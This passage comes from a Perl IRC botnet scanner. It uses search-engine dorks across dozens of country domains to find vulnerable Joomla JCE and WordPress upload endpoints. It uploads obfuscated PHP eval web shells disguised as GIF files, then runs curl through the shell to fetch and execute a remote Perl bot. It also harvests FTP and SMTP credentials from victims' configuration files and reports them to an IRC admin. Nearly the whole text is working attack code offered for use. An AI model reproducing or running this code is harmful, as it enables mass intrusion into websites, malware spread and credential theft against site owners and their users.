  1012. if ($ftpopen =~ /1/){
  1013. my $hozt = $site;
  1014. $hozt =~ s/\///;
  1015. &ftp($hozt,$ftpuser,$ftppass,$chan);
  1016. }
  1017. }
  1018. }
  1019. } exit;
  1020. }
  1021. if ($count == $num-1) {
  1022. &msg("$chan","$jcelogo15$engine 9Finished 15for 9$dork ");
  1023. if ($engine =~ /UoL/) {
  1024. &sendraw("mode $chan -m");
  1025. }
  1026. }
  1027. }
  1028. }
  1029. }
  1030.  
  1031. sub jce_upload() {
  1032. my $success = 0;
  1033. my $url = $_[0];
  1034. $url =~ s/http:\/\///;
  1035. my $host = $url;
  1036. my $path = $url;
  1037. $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  1038. $path =~ s/(.*)\/[^\/]*$/\1/;
  1039. $path .= "/";
  1040. $path =~ s/([-a-zA-Z0-9\.]+)/$2/;
  1041. if ($path eq "") { $path = "/" }
  1042. $header1P = "POST ".$path."index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6bc427c8a7981f4fe1f5ac65c1246b5f=cf6dd3cf1923c950586d0dd595c8e20b HTTP/1.1";
  1043. $header1P2 = "POST ".$path."index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20 HTTP/1.1";
  1044. $header2 = "Host: $host";
  1045. $header3 = "User-Agent: BOT/0.1 (BOT for JCE)";
  1046. $header4 = "Content-Type: multipart/form-data; boundary=---------------------------41184676334";
  1047. $header5 = "Content-Length: 5000";
  1048. $header6 = "-----------------------------41184676334";
  1049. $header7 = 'Content-Disposition: form-data; name="upload-dir"';
  1050. $header8 = '/';
  1051. $header9 = 'Content-Disposition: form-data; name="Filedata"; filename=""';
  1052. $header10 = 'Content-Type: application/octet-stream';
  1053. $header11 = 'Content-Disposition: form-data; name="upload-overwrite"';
  1054. $header12 = "0";
  1055. $header13 = 'Content-Disposition: form-data; name="Filedata"; filename="food.gif"';
  1056. $header14 = 'Content-Type: image/gif';
  1057. $header15 = 'GIF89aGlobex';
  1058. $header16 = "<?php eval(gzinflate(str_rot13(base64_decode('rUl6QuNTEP5cJP7Dso1xVAcO16rSCQg6CqZRLYTGVr8Asjb2JtnDXlu7eGUp4r9qc9fOy8FE7mdEpNgz88w887Kz4VcVKkm8LJQRZervtw+3t8SE+DtPeGH8SRyFRNTrX91rcPaJ3Xtq7fZCj9tbrQehhVaKVxrSJfsAd835GB4RMPgnHNzQi+HwOr7oVFBth3chP3qoB+HfozAaxqNOzxmMi2cBFpSljCyYnBJA8MSQW4muEULRWbMJz/dGDqYfhRTxFEttKIzzIuXekv/SsFoeW5onlRJzAe6jk/MwvuyfheCgf35BD5+2t2um+StJSmBxUGZIZdWFiLNPm/FPspz7y4w89xufnJ0NoFlozvzeFAqcfA00CC/7w2MNlDOR+dTlDlpuCpAfpygNkiKnu4TaV9FdbcG0yMjv2BYmycyY8qDTdncFSHjSuZW9eBJk9cCRVZ3FrSQg7dVuQNxjpZb5s7bXXV4V65nFu2q2V2/iN6PzVDi88ZKskBzHBqdTF5VX+Poca9HpoGo9jM97f4VKJ5ehdHQh5doI0l1MnfVCVJfh1TAe9PtQ7y6gnWy5J3GSSGCKz03kcsaDZUnilCjuyuzi7RLnsO0S+IEjZ/CmETpjIwRTyawg9MgIk/HjkfxGFmZW9lVxuZN1xrPsqOO0VHBojJnUkFYBB1qLf2z3F5IUGWfs5w/2A4bHNEvGDehEdLwEt0AYStDwLvV2AHbGIIDaGCv02wF6vzXGCACQVSXSrvWUL+ARPCxQBJRZSsrpl8poTWKKhw2EgBRbGkq2ne1aN5NXJlMUkpRmCFNjvpJs6s5NgiI3ja2qq41FcqF91O9tHc8Oo0jtoC7j0qrae+9EobiplCQoCcC46e7jmtxBbS1/KcTt7bfEAOuvB6kDbsk8KJnKVo6rBCp9jbuVMFuDLqXHrxf0tMhmJtOmgFRPlpUhc0TyLjX8s6EEeNylVp7SWnpHjWax0js/lDywrLLv92DfTnPH3uEmRg4Nsi7yKjOiccpLu72UGdYwYtLBef4nhUSZFSwl5yLjNo0OTT/LcybSlMuarWncNwwmgK/VOJv4V+uYH5y3Skxc8blSH5BoEnj+sZoO/f63Oo7kZnygJMmY1l3DNgCOca2jcLOsrVhro7x46xUraeM5Y7NgK4tVBWH6ZWgGaU2WVIOp6QDo0SrsT8YNHN1rWla8O7CzU2kO8+KBx847QnA08F+EmLyMHQy27pJaYMPUcX6IK8zW7ZFzKuCG5CnuhSfiljHZ0FRIkmOtiQFE8KU7S14HdIQekid72p4VuR76pspjU3nJd3Ke2lurXnil4usT9HgzTvv2A8tN456P+XSe+OjJYTU3UR3E0o3VsmyX5isKUs1upfheCsU3ZEOThoKaAAF5SXliFkDDzaLhogk68IX3iZhJiuEht/dluyEIyPW/EuQ7S3uZJnsZ814k/h8=')))); ?> ";
  1059. $header17 = 'Content-Disposition: form-data; name="upload-name"';
  1060. $header18 = 'food';
  1061. $header19 = 'Content-Disposition: form-data; name="action"';
  1062. $header20 = 'upload';
  1063. $header21 = "-----------------------------41184676334--";
  1064. $header22 = 'X-Request: JSON';
  1065. $header23 = 'Content-Type: application/x-www-form-urlencoded; charset=utf-8';
  1066. $header25 = 'json={"fn":"folderRename","args":["/food.gif","food.php"]}';
  1067. $header24 = "Content-Length: ".length($header25)."";
  1068. my $remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$host" ,PeerPort=>"80") || return;
  1069. print $remote "$header1P\n$header2\n$header3\n$header4\n$header5\n\n$header6\n$header7\n\n$header8\n$header6\n$header9\n$header10\n\n\n$header6\n$header11\n\n$header12\n$header6\n$header13\n$header14\n\n$header15\n$header16\n$header6\n$header17\n\n$header18\n$header6\n$header19\n\n$header20\n$header21\n\n";
  1070. my $remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$host" ,PeerPort=>"80") || return;
  1071. print $remote "$header1P2\n$header2\n$header3\n$header23\n$header22\n$header24\n\n$header25\n\n";
  1072. while ($hasil = <$remote>) {
  1073. if ($hasil =~ /200 OK/) {
  1074. $success = 1;
  1075. }
  1076. return $success;
  1077. }
  1078. }
  1079.  
  1080. sub ftp() {
  1081. my $host = $_[0];
  1082. my $user = $_[1];
  1083. my $pass = $_[2];
  1084. my $chan = $_[3];
  1085. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  1086. my $success = 1;
  1087. use Net::FTP;
  1088. my $ftp = Net::FTP->new($host, Debug => 0, Timeout => 5);
  1089. $success = 0 if $ftp->login($user,$pass);
  1090. $ftp->quit;
  1091. if ($success == 0) {
  1092. &msg("$admin","15,1 [8FTP15] [ 8host : ".$host." 15] [ 8login : ".$user." 15] [ 8pass : ".$pass." 15] 8Success ");
  1093. &msg("$chan","15,1 [8FTP15] Found on 8http://$host ");
  1094. }
  1095. } exit;
  1096. }
  1097. }
  1098.  
  1099. sub rci_exploit() {
  1100. my $chan = $_[0];
  1101. my $bug = $_[1];
  1102. my $nick = $_[2];
  1103. my $dork = $_[3];
  1104. my $engine = $_[4];
  1105. my $count = 0;
  1106. my @totexploit = &search_engine($chan,$bug,$dork,$engine,$rcilogo);
  1107. my $num = scalar(@totexploit);
  1108. if ($num > 0){
  1109. foreach my $site(@totexploit){
  1110. $count++;
  1111. foreach my $jpath(@jpaths) {
  1112. my $shell = "http://".$site.$jpath.$jshell;
  1113. my $vuln = "http://".$site.$jpath.$jvuln."?name=lobex21.php";
  1114. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  1115. my $status = &rci_upload($vuln);
  1116. if ($status = 1) {
  1117. my $check = &get_content($shell."?rf");
  1118. if ($check =~ /UnKnown - Simple Shell/) {
  1119. &get_content($shell."?cmd=curl+-C+-+-O+".$botxx."perl sodd.txt;rm -rf sodd*");
  1120. my $safe = ""; my $os = ""; my $uid = "";
  1121. my $ftphost = ""; my $ftpuser = ""; my $ftppass = ""; my $ftpopen = "";
  1122. my $smtphost = ""; my $smtpuser = ""; my $smtppass = ""; my $smtpauth = "";
  1123. if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  1124. if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;}
  1125. if ($check =~ /uid=(.*?)gid=/){$uid=$1;}
  1126. if ($check =~ m/\$ftp_host = '(.+?)';/i){$ftphost=$1;}
  1127. if ($check =~ m/\$ftp_user = '(.+?)';/i){$ftpuser=$1;}
  1128. if ($check =~ m/\$ftp_pass = '(.+?)';/i){$ftppass=$1;}
  1129. if ($check =~ m/\$ftp_enable = '(.+?)';/i){$ftpopen=$1;}
  1130. if ($check =~ m/\$smtphost = '(.+?)';/i){$smtphost=$1;}
  1131. if ($check =~ m/\$smtpuser = '(.+?)';/i){$smtpuser=$1;}
  1132. if ($check =~ m/\$smtppass = '(.+?)';/i){$smtppass=$1;}
  1133. if ($check =~ m/\$smtpauth = '(.+?)';/i){$smtpauth=$1;}
  1134. &msg("$chan","$rcilogo15$engine 4<9=4>9 Target Sent To 4<9=4>9 $nick15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  1135. if ($nick eq $admin) {
  1136. &msg("$admin","$rcilogo15$engine 4<9=4>9 sHeLL 4<9=4>9 $shell15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  1137. } else {
  1138. &msg("$nick","$rcilogo15$engine 4<9=4>9 sHeLL 4<9=4>9 $shell15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  1139. &msg("$admin","$rcilogo15$engine 4<9=4>9 sHeLL 4<9=4>9 $shell15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  1140. }
  1141. if ($smtpauth =~ /1/) {
  1142. &msg("$chan","15,1 [8SMTP15] Found on 8http://$site ");
  1143. &msg("$admin","15,1 [8SMTP15] [ 8host : ".$smtphost." 15] [ 8login : ".$smtpuser." 15] [ 8pass : ".$smtppass." 15]");
  1144. }
  1145. if ($ftpopen =~ /1/){
  1146. my $hozt = $site;
  1147. $hozt =~ s/\///;
  1148. &ftp($hozt,$ftpuser,$ftppass,$chan);
  1149. }
  1150. }
  1151. }
  1152. } exit;
  1153. }
  1154. }
  1155. if ($count == $num-1) {
  1156. &msg("$chan","$rcilogo15$engine 9Finished 15for 9$dork ");
  1157. if ($engine =~ /UoL/) {
  1158. &sendraw("mode $chan -m");
  1159. }
  1160. }
  1161. }
  1162. }
  1163. }
  1164. sub rci_upload() {
  1165. my $success = 0;
  1166. my $url = $_[0];
  1167. my $ua = LWP::UserAgent->new;
  1168. my $data = "<?php eval(gzinflate(str_rot13(base64_decode('rUl6QttVEP58VfyHci+SHRUcbaeTKsCoHJgS3U64OLkvAUwbe5N5sdfWbVrIIf77zezabCmU0qr5knFznpl0nh3PmiuVq1XxIkpNyKm73z7c3hIT4u6IsuTaelJuEIbd3tXIGbPP7M65erd/bNzed92LReg4r6QmPtkHQ3jOx/ATAf1/g/6IXgwG19FSLxzQW2cL+WzD3Q/+GQbhIBr2uzZgnCcLiKAsbnHB5JQAgsea3FVZjWuKbiWb8Hk/4RD6RFURWoGlg8YoyxPuLPkvA9vksUjyuEVPLyB9a2UeUZe9swAS9M7P6eHT9hZCWP5X1BUEmdJcFVz5Q2SWl228kCzj7rIjx35UJ3R0fZCp7pnf6VxOkq+B+sFyYhCsgTImRZfa3uFDmALkxylNvTjP6C6hUym6WC9LKUXyJx4Lk3GmaGTQ6TRNgXdaOzeye1pPru45Eqm7uJEErN26DJgbrtQwf2ns9SmvxG0W8e6dRFZZ3HNnPgWDkROnueQ4Njg1cl6pmK/PgROe9rvXg+i8+2pjaGUZOHMWEl53TvxI1EzvZ2sZXA2ifq83Y2E92hFlknvFrMChQ9yqd9PvEotiW74/ZG8O3jQxB2lvICie5YQedqFGfjyUf8l8LskeCVJJpJyEM56mVB3rPRqrcOykhllla65X8R/3fyNknsIB/frBfCDwmG3Luh496oyX4BYYowrO16cu9aDNCAygjTZTt+3R9lt4DAEAjUci8VqmeQE/IcOyhFTJZ+Wcfulcp/WmbWuAQ5DikVOVOc72c5pWJXAtZVaKORQjOEHxPLGPSYwmO3ytyi+1RVJeuujfaDqOmT3j2k5fyqVktffeo1BkXSlW0OJOY2a6j3hpM9i1/aUSNzffRgOiv16kLoSSOSCZylWGmwOUvsZIV5jRwKf0+GhOQvMscDJ2BDwSsqg00YuC+0fzB1oJd+zTOFjopjesxplL+XoeV+5MTZn/ahDfTnPHzuEmRg4HcUVxSKpSwZQ2ZHsJ06xu3rSD3XyjhW6R5iwh5yLlpo0OUz/rcyaShMuaena5YgRZAF+7ZDbxL614frDZXnJkxecGfUDWVqzlVDUt+v0faB3J5/iDkjhycul4tgGwJHgfHeultrbhDWzXtikqNmUsuNmnlU4kAhd7sW0GaU2GVIOp6QDo0TjM/sWFG46cUxLnFuJZkJnDLL/nkc3OkwgD3BchOisiC4Otu3HjmTI1mZ+SCru1e6SZCrgQbIJ74YnYclk2/G4Vx7wsiQaT93I6S14HdIQekifztD0TuR76U3JrU4xxtTNYzCVIr7VP8fUJ+r2ZoH3zgXJd4p6P+AOPXcxxtpodog5v6cZ32bw6sxWFvOawZfwohfy7OKhWUKFgbfbw7asbw1cI4w+gbMJd2m5WBtcuLFKGrxe7NpFsyxizmG5TgxntG7yagAV0IjIXGJCECwwWLcbCtQ+GiZhJkAuWibn/240QAF1/UCE/oI6TlnEvcs6LAv0P')))); ?> ";
  1169. my $res = $ua->request(POST $url,Content_Type => 'text/plain', Content => $data);
  1170. if ($res->is_success){
  1171. $success = 1;
  1172. }
  1173. return $success;
  1174. }
  1175.  
  1176. sub cgm_exploit() {
  1177. my $chan = $_[0];
  1178. my $bugz = $_[1];
  1179. my $nick = $_[2];
  1180. my $dork = $_[3];
  1181. my $engine = $_[4];
  1182. my $count = 0;
  1183. my @totexploit = &search_engine($chan,$bugz,$dork,$engine,$cgmlogo);
  1184. my $num = scalar(@totexploit);
  1185. if ($num > 0){
  1186. foreach my $site(@totexploit){
  1187. $count++;
  1188. if ($count == $num-1) { &msg("$chan","$cgmlogo15$engine 9Finished 15for 9$dork "); }
  1189. my $aplod = LWP::UserAgent->new;
  1190. my $res = $aplod->post("http://".$site.$bugz,['qqfile' => ['./xxx.php' => 'application/octet-stream']],'Content-Type' => 'form-data');
  1191. my $hasil = $res->content;
  1192. my $path = "wp-content/2013/10/xxx.php";
  1193. if ($hasil=~ /xxx.php/){
  1194. &msg("$chan","$cgmlogo15$engine 9e3x9p3l9o3i9t3i9n3g 15http://$site ");
  1195. my $test = "http://".$site.$path;
  1196. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  1197. my $cekap = &get_content($test);
  1198. if ($cekap =~ /UnKnown - Simple Shell/) {
  1199. my $safe = ""; my $os = ""; my $uid = "";
  1200. if ($cekap =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  1201. if ($cekap =~ /Uname : (.*?)<\/b>/){$os=$1;}
  1202. if ($cekap =~ /uid=(.*?)gid=/){$uid=$1;}
  1203. &msg("$nick","$cgmlogo15$engine 4<9=4>9 Simple sHeLL 4<9=4>9 $test15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  1204. &msg("$admin","$cgmlogo15$engine 4<9=4>9 Simple sHeLL 4<9=4>9 $test15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  1205. }
  1206. } exit;
  1207. } }
  1208. }
  1209. }
  1210. }
  1211. ##################################################################################
  1212.  
  1213. sub search_engine() {
  1214. my (@total,@clean);
  1215. my $chan = $_[0];
  1216. my $bug = $_[1];
  1217. my $dork = $_[2];
  1218. my $engine = $_[3];
  1219. my $logo = $_[4];
  1220. if ($engine eq "JacKAE") { my @jackae = &jack($dork."+site:ae",$jackae); push(@total,@jackae); }
  1221. if ($engine eq "JacKAR") { my @jackar = &jack($dork."+site:ar",$jackar); push(@total,@jackar); }
  1222. if ($engine eq "JacKAT") { my @jackat = &jack($dork."+site:at",$jackat); push(@total,@jackat); }
  1223. if ($engine eq "JacKAU") { my @jackau = &jack($dork."+site:au",$jackau); push(@total,@jackau); }
  1224. if ($engine eq "JacKBR") { my @jackbr = &jack($dork."+site:br",$jackbr); push(@total,@jackbr); }
  1225. if ($engine eq "JacKCA") { my @jackca = &jack($dork."+site:ca",$jackca); push(@total,@jackca); }
  1226. if ($engine eq "JacKCL") { my @jackcl = &jack($dork."+site:cl",$jackcl); push(@total,@jackcl); }
  1227. if ($engine eq "JacKCN") { my @jackcn = &jack($dork."+site:cn",$jackcn); push(@total,@jackcn); }
  1228. if ($engine eq "JacKCoM") { my @jackcom = &jack($dork."+site:com",$jackcom); push(@total,@jackcom); }
  1229. if ($engine eq "JacKCZ") { my @jackcz = &jack($dork."+site:cz",$jackcz); push(@total,@jackcz); }
  1230. if ($engine eq "JacKDE") { my @jackde = &jack($dork."+site:de",$jackde); push(@total,@jackde); }
  1231. if ($engine eq "JacKDK") { my @jackdk = &jack($dork."+site:dk",$jackdk); push(@total,@jackdk); }
  1232. if ($engine eq "JacKES") { my @jackes = &jack($dork."+site:es",$jackes); push(@total,@jackes); }
  1233. if ($engine eq "JacKEU") { my @jackeu = &jack($dork."+site:eu",$jackeu); push(@total,@jackeu); }
  1234. if ($engine eq "JacKFR") { my @jackfr = &jack($dork."+site:fr",$jackfr); push(@total,@jackfr); }
  1235. if ($engine eq "JacKHU") { my @jackhu = &jack($dork."+site:hu",$jackhu); push(@total,@jackhu); }
  1236. if ($engine eq "JacKID") { my @jackid = &jack($dork."+site:id",$jackid); push(@total,@jackid); }
  1237. if ($engine eq "JacKIL") { my @jackil = &jack($dork."+site:il",$jackil); push(@total,@jackil); }
  1238. if ($engine eq "JacKIN") { my @jackin = &jack($dork."+site:in",$jackin); push(@total,@jackin); }
  1239. if ($engine eq "JacKInfO") { my @jackinfo = &jack($dork."+site:info",$jackinfo); push(@total,@jackinfo); }
  1240. if ($engine eq "JacKIR") { my @jackir = &jack($dork."+site:ir",$jackir); push(@total,@jackir); }
  1241. if ($engine eq "JacKIT") { my @jackit = &jack($dork."+site:it",$jackit); push(@total,@jackit); }
  1242. if ($engine eq "JacKJP") { my @jackjp = &jack($dork."+site:jp",$jackjp); push(@total,@jackjp); }
  1243. if ($engine eq "JacKKR") { my @jackkr = &jack($dork."+site:kr",$jackkr); push(@total,@jackkr); }
  1244. if ($engine eq "JacKMX") { my @jackmx = &jack($dork."+site:mx",$jackmx); push(@total,@jackmx); }
  1245. if ($engine eq "JacKMY") { my @jackmy = &jack($dork."+site:my",$jackmy); push(@total,@jackmy); }
  1246. if ($engine eq "JacKNeT") { my @jacknet = &jack($dork."+site:net",$jacknet); push(@total,@jacknet); }
  1247. if ($engine eq "JacKNL") { my @jacknl = &jack($dork."+site:nl",$jacknl); push(@total,@jacknl); }
  1248. if ($engine eq "JacKOrG") { my @jackorg = &jack($dork."+site:org",$jackorg); push(@total,@jackorg); }
  1249. if ($engine eq "JacKPH") { my @jackph = &jack($dork."+site:ph",$jackph); push(@total,@jackph); }
  1250. if ($engine eq "JacKPL") { my @jackpl = &jack($dork."+site:pl",$jackpl); push(@total,@jackpl); }
  1251. if ($engine eq "JacKRO") { my @jackro = &jack($dork."+site:ro",$jackro); push(@total,@jackro); }
  1252. if ($engine eq "JacKRU") { my @jackru = &jack($dork."+site:ru",$jackru); push(@total,@jackru); }
  1253. if ($engine eq "JacKTH") { my @jackth = &jack($dork."+site:th",$jackth); push(@total,@jackth); }
  1254. if ($engine eq "JacKUA") { my @jackua = &jack($dork."+site:ua",$jackua); push(@total,@jackua); }
  1255. if ($engine eq "JacKUK") { my @jackuk = &jack($dork."+site:uk",$jackuk); push(@total,@jackuk); }
  1256. if ($engine eq "JacKUS") { my @jackus = &jack($dork."+site:us",$jackus); push(@total,@jackus); }
  1257. if ($engine eq "JacKSI") { my @jacksi = &jack($dork."+site:si",$jacksi); push(@total,@jacksi); }
  1258. if ($engine eq "JacKBE") { my @jackbe = &jack($dork."+site:be",$jackbe); push(@total,@jackbe); }
  1259. if ($engine eq "JacKBIZ") { my @jackbiz = &jack($dork."+site:biz",$jackbiz); push(@total,@jackbiz); }
  1260. if ($engine eq "GooGLe") { my @google = &google($dork); push(@total,@google); }
  1261. if ($engine eq "GooGLeCA") { my @googleCA = googleCA($dork); push(@total,@googleCA); }
  1262. if ($engine eq "GooGLeDE") { my @googleDE = googleDE($dork); push(@total,@googleDE); }
  1263. if ($engine eq "GooGLeUK") { my @googleUK = googleUK($dork); push(@total,@googleUK); }
  1264. if ($engine eq "GooGLeFR") { my @googleFR = googleFR($dork); push(@total,@googleFR); }
  1265. if ($engine eq "GooGLeES") { my @googleES = googleES($dork); push(@total,@googleES); }
  1266. if ($engine eq "GooGLeIT") { my @googleIT = googleIT($dork); push(@total,@googleIT); }
  1267. if ($engine eq "GooGLeNL") { my @googleNL = googleNL($dork); push(@total,@googleNL); }
  1268. if ($engine eq "GooGLeBE") { my @googleBE = googleBE($dork); push(@total,@googleBE); }
  1269. if ($engine eq "GooGLeCH") { my @googleCH = googleCH($dork); push(@total,@googleCH); }
  1270. if ($engine eq "GooGLeSE") { my @googleSE = googleSE($dork); push(@total,@googleSE); }
  1271. if ($engine eq "GooGLeDK") { my @googleDK = googleDK($dork); push(@total,@googleDK); }
  1272. if ($engine eq "GooGLeNO") { my @googleNO = googleNO($dork); push(@total,@googleNO); }
  1273. if ($engine eq "GooGLeNZ") { my @googleNZ = googleNZ($dork); push(@total,@googleNZ); }
  1274. if ($engine eq "GooGLeIE") { my @googleIE = googleIE($dork); push(@total,@googleIE); }
  1275. if ($engine eq "GooGLeBR") { my @googleBR = googleBR($dork); push(@total,@googleBR); }
  1276. if ($engine eq "GooGLeAR") { my @googleAR = googleAR($dork); push(@total,@googleAR); }
  1277. if ($engine eq "GooGLeCO") { my @googleCO = googleCO($dork); push(@total,@googleCO); }
  1278. if ($engine eq "GooGLeCU") { my @googleCU = googleCU($dork); push(@total,@googleCU); }
  1279. if ($engine eq "GooGLeCL") { my @googleCL = googleCL($dork); push(@total,@googleCL); }
  1280. if ($engine eq "GooGLeMX") { my @googleMX = googleMX($dork); push(@total,@googleMX); }
  1281. if ($engine eq "GooGLeAU") { my @googleAU = googleAU($dork); push(@total,@googleAU); }
  1282. if ($engine eq "GooGLeRU") { my @googleRU = googleRU($dork); push(@total,@googleRU); }
  1283. if ($engine eq "GooGLeAT") { my @googleAT = googleAT($dork); push(@total,@googleAT); }
  1284. if ($engine eq "GooGLePL") { my @googlePL = googlePL($dork); push(@total,@googlePL); }
  1285. if ($engine eq "GooGLeIL") { my @googleIL = googleIL($dork); push(@total,@googleIL); }
  1286. if ($engine eq "GooGLeTR") { my @googleTR = googleTR($dork); push(@total,@googleTR); }
  1287. if ($engine eq "GooGLeUA") { my @googleUA = googleUA($dork); push(@total,@googleUA); }
  1288. if ($engine eq "GooGLeGR") { my @googleGR = googleGR($dork); push(@total,@googleGR); }
  1289. if ($engine eq "GooGLeJP") { my @googleJP = googleJP($dork); push(@total,@googleJP); }
  1290. if ($engine eq "GooGLeCN") { my @googleCN = googleCN($dork); push(@total,@googleCN); }
  1291. if ($engine eq "GooGLeMY") { my @googleMY = googleMY($dork); push(@total,@googleMY); }
  1292. if ($engine eq "GooGLeTH") { my @googleTH = googleTH($dork); push(@total,@googleTH); }
  1293. if ($engine eq "GooGLeIN") { my @googleIN = googleIN($dork); push(@total,@googleIN); }
  1294. if ($engine eq "GooGLeKR") { my @googleKR = googleKR($dork); push(@total,@googleKR); }
  1295. if ($engine eq "GooGLeRO") { my @googleRO = googleRO($dork); push(@total,@googleRO); }
  1296. if ($engine eq "GooGLeTW") { my @googleTW = googleTW($dork); push(@total,@googleTW); }
  1297. if ($engine eq "GooGLeZA") { my @googleZA = googleZA($dork); push(@total,@googleZA); }
  1298. if ($engine eq "GooGLePT") { my @googlePT = googlePT($dork); push(@total,@googlePT); }
  1299. if ($engine eq "WaLLa") { my @walla = &walla($dork); push(@total,@walla); }
  1300. if ($engine eq "YaHoo") { my @yahoo = &yahoo($dork); push(@total,@yahoo); }
  1301. if ($engine eq "YahOoCA") { my @yahooCA = yahooCA($dork); push(@total,@yahooCA); }
  1302. if ($engine eq "YahOoUK") { my @yahooUK = yahooUK($dork); push(@total,@yahooUK); }
  1303. if ($engine eq "YahOoDE") { my @yahooDE = yahooDE($dork); push(@total,@yahooDE); }
  1304. if ($engine eq "YahOoFR") { my @yahooFR = yahooFR($dork); push(@total,@yahooFR); }
  1305. if ($engine eq "YahOoES") { my @yahooES = yahooES($dork); push(@total,@yahooES); }
  1306. if ($engine eq "YahOoIT") { my @yahooIT = yahooIT($dork); push(@total,@yahooIT); }
  1307. if ($engine eq "YahOoHK") { my @yahooHK = yahooHK($dork); push(@total,@yahooHK); }
  1308. if ($engine eq "YahOoID") { my @yahooID = yahooID($dork); push(@total,@yahooID); }
  1309. if ($engine eq "YahOoIN") { my @yahooIN = yahooIN($dork); push(@total,@yahooIN); }
  1310. if ($engine eq "YahOoAU") { my @yahooAU = yahooAU($dork); push(@total,@yahooAU); }
  1311. if ($engine eq "YahOoMX") { my @yahooMX = yahooMX($dork); push(@total,@yahooMX); }
  1312. if ($engine eq "YahOoTW") { my @yahooTW = yahooTW($dork); push(@total,@yahooTW); }
  1313. if ($engine eq "YahOoBR") { my @yahooBR = yahooBR($dork); push(@total,@yahooBR); }
  1314. if ($engine eq "YahOoAR") { my @yahooAR = yahooAR($dork); push(@total,@yahooAR); }
  1315. if ($engine eq "YahOoNL") { my @yahooNL = yahooNL($dork); push(@total,@yahooNL); }
  1316. if ($engine eq "YahOoDK") { my @yahooDK = yahooDK($dork); push(@total,@yahooDK); }
  1317. if ($engine eq "YahOoPH") { my @yahooPH = yahooPH($dork); push(@total,@yahooPH); }
  1318. if ($engine eq "YahOoCL") { my @yahooCL = yahooCL($dork); push(@total,@yahooCL); }
  1319. if ($engine eq "YahOoRU") { my @yahooRU = yahooRU($dork); push(@total,@yahooRU); }
  1320. if ($engine eq "YahOoCH") { my @yahooCH = yahooCH($dork); push(@total,@yahooCH); }
  1321. if ($engine eq "YahOoCO") { my @yahooCO = yahooCO($dork); push(@total,@yahooCO); }
  1322. if ($engine eq "YahOoFI") { my @yahooFI = yahooFI($dork); push(@total,@yahooFI); }
  1323. if ($engine eq "YahOoRO") { my @yahooRO = yahooRO($dork); push(@total,@yahooRO); }
  1324. if ($engine eq "YahOoVE") { my @yahooVE = yahooVE($dork); push(@total,@yahooVE); }
  1325. if ($engine eq "YahOoAT") { my @yahooAT = yahooAT($dork); push(@total,@yahooAT); }
  1326. if ($engine eq "YahOoPL") { my @yahooPL = yahooPL($dork); push(@total,@yahooPL); }
  1327. if ($engine eq "YahOoKR") { my @yahooKR = yahooKR($dork); push(@total,@yahooKR); }
  1328. if ($engine eq "YahOoNZ") { my @yahooNZ = yahooNZ($dork); push(@total,@yahooNZ); }
  1329. if ($engine eq "YahOoGR") { my @yahooGR = yahooGR($dork); push(@total,@yahooGR); }
  1330. if ($engine eq "YahOoPE") { my @yahooPE = yahooPE($dork); push(@total,@yahooPE); }
  1331. if ($engine eq "AsK") { my @ask = &ask($dork); push(@total,@ask); }
  1332. if ($engine eq "AsKCA") { my @askCA = askCA($dork); push(@total,@askCA); }
  1333. if ($engine eq "AsKDE") { my @askDE = askDE($dork); push(@total,@askDE); }
  1334. if ($engine eq "AsKIT") { my @askIT = askIT($dork); push(@total,@askIT); }
  1335. if ($engine eq "AsKUK") { my @askUK = askUK($dork); push(@total,@askUK); }
  1336. if ($engine eq "AsKFR") { my @askFR = askFR($dork); push(@total,@askFR); }
  1337. if ($engine eq "AsKES") { my @askES = askES($dork); push(@total,@askES); }
  1338. if ($engine eq "AsKRU") { my @askRU = askRU($dork); push(@total,@askRU); }
  1339. if ($engine eq "AsKNL") { my @askNL = askNL($dork); push(@total,@askNL); }
  1340. if ($engine eq "AsKEU") { my @askEU = askEU($dork); push(@total,@askEU); }
  1341. if ($engine eq "AsKPL") { my @askPL = askPL($dork); push(@total,@askPL); }
  1342. if ($engine eq "AsKAT") { my @askAT = askAT($dork); push(@total,@askAT); }
  1343. if ($engine eq "AsKSE") { my @askSE = askSE($dork); push(@total,@askSE); }
  1344. if ($engine eq "AsKDK") { my @askDK = askDK($dork); push(@total,@askDK); }
  1345. if ($engine eq "AsKNO") { my @askNO = askNO($dork); push(@total,@askNO); }
  1346. if ($engine eq "AsKAU") { my @askAU = askAU($dork); push(@total,@askAU); }
  1347. if ($engine eq "AsKBR") { my @askBR = askBR($dork); push(@total,@askBR); }
  1348. if ($engine eq "AsKMX") { my @askMX = askMX($dork); push(@total,@askMX); }
  1349. if ($engine eq "AsKJP") { my @askJP = askJP($dork); push(@total,@askJP); }
  1350. if ($engine eq "Bing") { my @bing = &bing($dork); push(@total,@bing); }
  1351. if ($engine eq "BingDE") { my @bingDE = bingDE($dork); push(@total,@bingDE); }
  1352. if ($engine eq "BingUK") { my @bingUK = bingUK($dork); push(@total,@bingUK); }
  1353. if ($engine eq "BingCA") { my @bingCA = bingCA($dork); push(@total,@bingCA); }
  1354. if ($engine eq "BingBR") { my @bingBR = bingBR($dork); push(@total,@bingBR); }
  1355. if ($engine eq "BingFR") { my @bingFR = bingFR($dork); push(@total,@bingFR); }
  1356. if ($engine eq "BingES") { my @bingES = bingES($dork); push(@total,@bingES); }
  1357. if ($engine eq "BingIT") { my @bingIT = bingIT($dork); push(@total,@bingIT); }
  1358. if ($engine eq "BingBE") { my @bingBE = bingBE($dork); push(@total,@bingBE); }
  1359. if ($engine eq "BingNL") { my @bingNL = bingNL($dork); push(@total,@bingNL); }
  1360. if ($engine eq "BingPT") { my @bingPT = bingPT($dork); push(@total,@bingPT); }
